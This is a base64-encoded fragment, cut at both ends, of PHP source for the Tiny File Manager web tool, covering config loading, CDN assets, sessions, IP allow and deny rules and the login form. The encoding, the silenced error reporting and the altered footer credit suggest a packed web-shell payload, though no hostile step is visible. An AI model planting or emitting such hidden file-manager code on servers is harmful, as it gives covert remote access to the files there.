AgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XC9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1N